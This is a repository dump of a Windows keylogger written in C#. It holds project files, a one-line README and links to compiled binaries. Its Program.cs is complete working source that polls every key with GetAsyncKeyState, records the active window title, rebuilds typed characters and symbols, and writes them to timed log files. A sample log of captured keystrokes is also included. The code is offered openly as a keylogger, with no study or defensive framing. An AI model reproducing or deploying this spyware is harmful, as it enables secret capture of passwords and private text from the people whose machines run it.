├── KeyLogger.csproj
├── KeyLogger.sln
├── KeyLogger.suo
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── README.md
├── bin
└── Debug
│ ├── KeyLogger.exe
│ ├── KeyLogger.pdb
│ ├── KeyLogger.vshost.exe
│ ├── KeyLogger.vshost.exe.manifest
│ └── test.txt_08.12.2008.log
└── obj
└── Debug
├── KeyLogger.csproj.FileListAbsolute.txt
├── KeyLogger.exe
└── KeyLogger.pdb
/KeyLogger.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | 9.0.21022
7 | 2.0
8 | {62F9233D-93B2-45D1-84DB-B465442934F1}
9 | Exe
10 | Properties
11 | KeyLogger
12 | KeyLogger
13 | v3.5
14 | 512
15 |
16 |
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | pdbonly
27 | true
28 | bin\Release\
29 | TRACE
30 | prompt
31 | 4
32 |
33 |
34 |
35 |
36 | 3.5
37 |
38 |
39 |
40 | 3.5
41 |
42 |
43 | 3.5
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
60 |
--------------------------------------------------------------------------------
/KeyLogger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 10.00
3 | # Visual Studio 2008
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeyLogger", "KeyLogger.csproj", "{62F9233D-93B2-45D1-84DB-B465442934F1}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Any CPU = Debug|Any CPU
9 | Release|Any CPU = Release|Any CPU
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {62F9233D-93B2-45D1-84DB-B465442934F1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
13 | {62F9233D-93B2-45D1-84DB-B465442934F1}.Debug|Any CPU.Build.0 = Debug|Any CPU
14 | {62F9233D-93B2-45D1-84DB-B465442934F1}.Release|Any CPU.ActiveCfg = Release|Any CPU
15 | {62F9233D-93B2-45D1-84DB-B465442934F1}.Release|Any CPU.Build.0 = Release|Any CPU
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/KeyLogger.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/KeyLogger.suo
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | /* *************************************************************************** *
2 | * Title: .NET Keylogger
3 | * Author: D3t0x
4 | * Date: 5/21/2007
5 | * Type: Open Source
6 | *
7 | * This software is based off "ArticleKeyLog";
8 | * which can be found at www.z3d0clan.com.
9 | * Alexander Kent is the original author. I have
10 | * modified the source to include some more advanced
11 | * logging features I thought were needed.
12 | *
13 | * Added features:
14 | * » Focused/Active window title logging.
15 | * » Accurate character detection.(His version would display only CAPS)
16 | * » Log file formatting.
17 | * » Custom args [below]
18 | * *************************************************************************** *
19 | * Usage:
20 | * You have several args you can pass to customize the
21 | * program's execution.
22 | * netLogger.exe -f [filename] -m [mode] -i [interval] -o [output]
23 | * -f [filename](Name of the file. ".log" will always be the ext.)
24 | * -m ['hour' or 'day'] saves logfile name appended by the hour or day.
25 | * -i [interval] in milliseconds, flushes the buffer to either the
26 | * console or file. Shorter time = more cpu usage.
27 | * 10000=10seconds : 60000=1minute : etc...
28 | * -o ['file' or 'console'] Outputs all data to either a file or console.
29 | * *************************************************************************** *
30 | * ArticleKeyLog - Basic Keystroke Mining
31 | * Date: 05/12/2005
32 | * Author: D3t0x
33 | * d.t0x@hotmail.com
34 | * (www.z3d0clan.com)
35 | * *************************************************************************** */
36 |
37 | using System;
38 | using System.IO;
39 | using System.Text;
40 | using System.Windows.Forms;
41 | using System.Runtime.InteropServices;
42 |
43 | namespace NetKeyLogger
44 | {
45 | public class Keylogger
46 | {
47 | [DllImport("User32.dll")]
48 | private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
49 | [DllImport("User32.dll")]
50 | private static extern short GetAsyncKeyState(System.Int32 vKey);
51 | [DllImport("User32.dll")]
52 | public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
53 | [DllImport("User32.dll")]
54 | public static extern int GetForegroundWindow();
55 |
56 | private System.String keyBuffer;
57 | private System.Timers.Timer timerKeyMine;
58 | private System.Timers.Timer timerBufferFlush;
59 | private System.String hWndTitle;
60 | private System.String hWndTitlePast;
61 | public System.String LOG_FILE;
62 | public System.String LOG_MODE;
63 | public System.String LOG_OUT;
64 | private bool tglAlt = false;
65 | private bool tglControl = false;
66 | private bool tglCapslock = false;
67 |
68 | public Keylogger()
69 | {
70 | hWndTitle = ActiveApplTitle();
71 | hWndTitlePast = hWndTitle;
72 |
73 | //
74 | // keyBuffer
75 | //
76 | keyBuffer = "";
77 |
78 | //
79 | // timerKeyMine
80 | //
81 | this.timerKeyMine = new System.Timers.Timer();
82 | this.timerKeyMine.Enabled = true;
83 | this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
84 | this.timerKeyMine.Interval = 10;
85 |
86 | //
87 | // timerBufferFlush
88 | //
89 | this.timerBufferFlush = new System.Timers.Timer();
90 | this.timerBufferFlush.Enabled = true;
91 | this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
92 | this.timerBufferFlush.Interval = 1800000; // 30 minutes
93 | }
94 |
95 | static void Main()
96 | {
97 | Keylogger kl = new Keylogger();
98 | kl.Enabled = true;
99 | Console.ReadLine();
100 | kl.Flush2File("test.txt");
101 |
102 | }
103 |
104 | public static string ActiveApplTitle()
105 | {
106 | int hwnd = GetForegroundWindow();
107 | StringBuilder sbTitle = new StringBuilder(1024);
108 | int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
109 | if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
110 | string title = sbTitle.ToString();
111 | return title;
112 | }
113 |
114 | private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
115 | {
116 | hWndTitle = ActiveApplTitle();
117 |
118 | if (hWndTitle != hWndTitlePast)
119 | {
120 | if (LOG_OUT == "file")
121 | keyBuffer += "[" + hWndTitle + "]";
122 | else
123 | {
124 | Flush2Console("[" + hWndTitle + "]", true);
125 | if (keyBuffer.Length > 0)
126 | Flush2Console(keyBuffer, false);
127 | }
128 | hWndTitlePast = hWndTitle;
129 | }
130 |
131 | foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
132 | {
133 | if (GetAsyncKeyState(i) == -32767)
134 | {
135 | //Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes]
136 |
137 |
138 | if (ControlKey)
139 | {
140 | if (!tglControl)
141 | {
142 | tglControl = true;
143 | keyBuffer += "";
144 | }
145 | }
146 | else
147 | {
148 | if (tglControl)
149 | {
150 | tglControl = false;
151 | keyBuffer += "";
152 | }
153 | }
154 |
155 | if (AltKey)
156 | {
157 | if (!tglAlt)
158 | {
159 | tglAlt = true;
160 | keyBuffer += "";
161 | }
162 | }
163 | else
164 | {
165 | if (tglAlt)
166 | {
167 | tglAlt = false;
168 | keyBuffer += "";
169 | }
170 | }
171 |
172 | if (CapsLock)
173 | {
174 | if (!tglCapslock)
175 | {
176 | tglCapslock = true;
177 | keyBuffer += "";
178 | }
179 | }
180 | else
181 | {
182 | if (tglCapslock)
183 | {
184 | tglCapslock = false;
185 | keyBuffer += "";
186 | }
187 | }
188 |
189 | if (Enum.GetName(typeof(Keys), i) == "LButton")
190 | keyBuffer += "";
191 | else if (Enum.GetName(typeof(Keys), i) == "RButton")
192 | keyBuffer += "";
193 | else if (Enum.GetName(typeof(Keys), i) == "Back")
194 | keyBuffer += "";
195 | else if (Enum.GetName(typeof(Keys), i) == "Space")
196 | keyBuffer += " ";
197 | else if (Enum.GetName(typeof(Keys), i) == "Return")
198 | keyBuffer += "";
199 | else if (Enum.GetName(typeof(Keys), i) == "ControlKey")
200 | continue;
201 | else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
202 | continue;
203 | else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
204 | continue;
205 | else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
206 | continue;
207 | else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
208 | continue;
209 | else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
210 | continue;
211 | else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
212 | continue;
213 | else if (Enum.GetName(typeof(Keys), i) == "Delete")
214 | keyBuffer += "";
215 | else if (Enum.GetName(typeof(Keys), i) == "Insert")
216 | keyBuffer += "";
217 | else if (Enum.GetName(typeof(Keys), i) == "Home")
218 | keyBuffer += "";
219 | else if (Enum.GetName(typeof(Keys), i) == "End")
220 | keyBuffer += "";
221 | else if (Enum.GetName(typeof(Keys), i) == "Tab")
222 | keyBuffer += "";
223 | else if (Enum.GetName(typeof(Keys), i) == "Prior")
224 | keyBuffer += "";
225 | else if (Enum.GetName(typeof(Keys), i) == "PageDown")
226 | keyBuffer += "";
227 | else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
228 | keyBuffer += "";
229 |
230 | /* ********************************************** *
231 | * Detect key based off ShiftKey Toggle
232 | * ********************************************** */
233 | if (ShiftKey)
234 | {
235 | if (i >= 65 && i <= 122)
236 | {
237 | keyBuffer += (char)i;
238 | }
239 | else if (i.ToString() == "49")
240 | keyBuffer += "!";
241 | else if (i.ToString() == "50")
242 | keyBuffer += "@";
243 | else if (i.ToString() == "51")
244 | keyBuffer += "#";
245 | else if (i.ToString() == "52")
246 | keyBuffer += "$";
247 | else if (i.ToString() == "53")
248 | keyBuffer += "%";
249 | else if (i.ToString() == "54")
250 | keyBuffer += "^";
251 | else if (i.ToString() == "55")
252 | keyBuffer += "&";
253 | else if (i.ToString() == "56")
254 | keyBuffer += "*";
255 | else if (i.ToString() == "57")
256 | keyBuffer += "(";
257 | else if (i.ToString() == "48")
258 | keyBuffer += ")";
259 | else if (i.ToString() == "192")
260 | keyBuffer += "~";
261 | else if (i.ToString() == "189")
262 | keyBuffer += "_";
263 | else if (i.ToString() == "187")
264 | keyBuffer += "+";
265 | else if (i.ToString() == "219")
266 | keyBuffer += "{";
267 | else if (i.ToString() == "221")
268 | keyBuffer += "}";
269 | else if (i.ToString() == "220")
270 | keyBuffer += "|";
271 | else if (i.ToString() == "186")
272 | keyBuffer += ":";
273 | else if (i.ToString() == "222")
274 | keyBuffer += "\"";
275 | else if (i.ToString() == "188")
276 | keyBuffer += "<";
277 | else if (i.ToString() == "190")
278 | keyBuffer += ">";
279 | else if (i.ToString() == "191")
280 | keyBuffer += "?";
281 | }
282 | else
283 | {
284 | if (i >= 65 && i <= 122)
285 | {
286 | keyBuffer += (char)(i + 32);
287 | }
288 | else if (i.ToString() == "49")
289 | keyBuffer += "1";
290 | else if (i.ToString() == "50")
291 | keyBuffer += "2";
292 | else if (i.ToString() == "51")
293 | keyBuffer += "3";
294 | else if (i.ToString() == "52")
295 | keyBuffer += "4";
296 | else if (i.ToString() == "53")
297 | keyBuffer += "5";
298 | else if (i.ToString() == "54")
299 | keyBuffer += "6";
300 | else if (i.ToString() == "55")
301 | keyBuffer += "7";
302 | else if (i.ToString() == "56")
303 | keyBuffer += "8";
304 | else if (i.ToString() == "57")
305 | keyBuffer += "9";
306 | else if (i.ToString() == "48")
307 | keyBuffer += "0";
308 | else if (i.ToString() == "189")
309 | keyBuffer += "-";
310 | else if (i.ToString() == "187")
311 | keyBuffer += "=";
312 | else if (i.ToString() == "92")
313 | keyBuffer += "`";
314 | else if (i.ToString() == "219")
315 | keyBuffer += "[";
316 | else if (i.ToString() == "221")
317 | keyBuffer += "]";
318 | else if (i.ToString() == "220")
319 | keyBuffer += "\\";
320 | else if (i.ToString() == "186")
321 | keyBuffer += ";";
322 | else if (i.ToString() == "222")
323 | keyBuffer += "'";
324 | else if (i.ToString() == "188")
325 | keyBuffer += ",";
326 | else if (i.ToString() == "190")
327 | keyBuffer += ".";
328 | else if (i.ToString() == "191")
329 | keyBuffer += "/";
330 | }
331 | }
332 | }
333 | }
334 |
335 | #region toggles
336 | public static bool ControlKey
337 | {
338 | get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
339 | } // ControlKey
340 | public static bool ShiftKey
341 | {
342 | get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
343 | } // ShiftKey
344 | public static bool CapsLock
345 | {
346 | get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
347 | } // CapsLock
348 | public static bool AltKey
349 | {
350 | get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
351 | } // AltKey
352 | #endregion
353 |
354 | private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
355 | {
356 | if (LOG_OUT == "file")
357 | {
358 | if (keyBuffer.Length > 0)
359 | Flush2File(LOG_FILE);
360 | }
361 | else
362 | {
363 | if (keyBuffer.Length > 0)
364 | Flush2Console(keyBuffer, false);
365 | }
366 | }
367 |
368 | public void Flush2Console(string data, bool writeLine)
369 | {
370 | if (writeLine)
371 | Console.WriteLine(data);
372 | else
373 | {
374 | Console.Write(data);
375 | keyBuffer = ""; // reset
376 | }
377 | }
378 |
379 | public void Flush2File(string file)
380 | {
381 | string AmPm = "";
382 | try
383 | {
384 | if (LOG_MODE == "hour")
385 | {
386 | if (DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
387 | AmPm = "AM";
388 | else
389 | AmPm = "PM";
390 | file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
391 | }
392 | else
393 | file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";
394 |
395 | FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
396 | using (StreamWriter sw = new StreamWriter(fil))
397 | {
398 | sw.Write(keyBuffer);
399 | }
400 |
401 | keyBuffer = ""; // reset
402 | }
403 | catch (Exception ex)
404 | {
405 | // Uncomment this to help debug.
406 | // Console.WriteLine(ex.Message);
407 | throw;
408 | }
409 | }
410 |
411 | #region Properties
412 | public System.Boolean Enabled
413 | {
414 | get
415 | {
416 | return timerKeyMine.Enabled && timerBufferFlush.Enabled;
417 | }
418 | set
419 | {
420 | timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
421 | }
422 | }
423 |
424 | public System.Double FlushInterval
425 | {
426 | get
427 | {
428 | return timerBufferFlush.Interval;
429 | }
430 | set
431 | {
432 | timerBufferFlush.Interval = value;
433 | }
434 | }
435 |
436 | public System.Double MineInterval
437 | {
438 | get
439 | {
440 | return timerKeyMine.Interval;
441 | }
442 | set
443 | {
444 | timerKeyMine.Interval = value;
445 | }
446 | }
447 | #endregion
448 |
449 | }
450 | }
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("KeyLogger")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("KeyLogger")]
13 | [assembly: AssemblyCopyright("Copyright © 2008")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("0ef8c295-de02-4b97-ac0b-b54e1ed9f38e")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | KeyLogger
2 | =========
3 |
4 | Key logger for windows written in C#
--------------------------------------------------------------------------------
/bin/Debug/KeyLogger.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/bin/Debug/KeyLogger.exe
--------------------------------------------------------------------------------
/bin/Debug/KeyLogger.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/bin/Debug/KeyLogger.pdb
--------------------------------------------------------------------------------
/bin/Debug/KeyLogger.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/bin/Debug/KeyLogger.vshost.exe
--------------------------------------------------------------------------------
/bin/Debug/KeyLogger.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/bin/Debug/test.txt_08.12.2008.log:
--------------------------------------------------------------------------------
1 | hjbjnhhgvl/kkftmgdlfthkdntyhkl
--------------------------------------------------------------------------------
/obj/Debug/KeyLogger.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | D:\FREELANCE\KeyLogger\obj\Debug\ResolveAssemblyReference.cache
2 | D:\FREELANCE\KeyLogger\bin\Debug\KeyLogger.exe
3 | D:\FREELANCE\KeyLogger\bin\Debug\KeyLogger.pdb
4 | D:\FREELANCE\KeyLogger\obj\Debug\KeyLogger.exe
5 | D:\FREELANCE\KeyLogger\obj\Debug\KeyLogger.pdb
6 |
--------------------------------------------------------------------------------
/obj/Debug/KeyLogger.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/obj/Debug/KeyLogger.exe
--------------------------------------------------------------------------------
/obj/Debug/KeyLogger.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ibaydan/KeyLogger/e6a295d2e984c2d0a88de5c86fca2deb3cf0eddc/obj/Debug/KeyLogger.pdb
--------------------------------------------------------------------------------